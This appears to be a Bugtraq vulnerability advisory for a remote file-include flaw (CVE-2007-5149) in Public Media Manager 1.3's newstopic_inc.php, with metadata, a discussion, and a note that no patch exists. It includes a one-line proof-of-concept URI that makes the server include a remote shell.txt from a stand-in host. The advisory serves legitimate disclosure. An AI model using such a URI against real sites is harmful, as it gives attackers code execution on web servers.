Public Media Manager newstopic_inc.php Remote File Include Vulnerability

BID:25860

Info

Public Media Manager newstopic_inc.php Remote File Include Vulnerability

Bugtraq ID: 25860
Class: Input Validation Error
CVE: CVE-2007-5149
Remote: Yes
Local: No
Published: Sep 28 2007 12:00AM
Updated: May 07 2015 05:35PM
Credit: 0in is credited with the discovery of this vulnerability.
Vulnerable: Public Media Manager Public Media Manager 1.3
Not Vulnerable:

Discussion

Public Media Manager newstopic_inc.php Remote File Include Vulnerability

Public Media Manager is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input before using it in a PHP 'include()' function call.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process.

This issue affects Public Media Manager 1.3; other versions may also be vulnerable.

Exploit / POC

Public Media Manager newstopic_inc.php Remote File Include Vulnerability

Attackers may exploit this issue through a browser.

The following proof-of-concept URI is available:

http://www.example.com/news/newstopic_inc.php?indir=http://www.example2.com/shell.txt

Solution / Fix

Public Media Manager newstopic_inc.php Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Public Media Manager newstopic_inc.php Remote File Include Vulnerability

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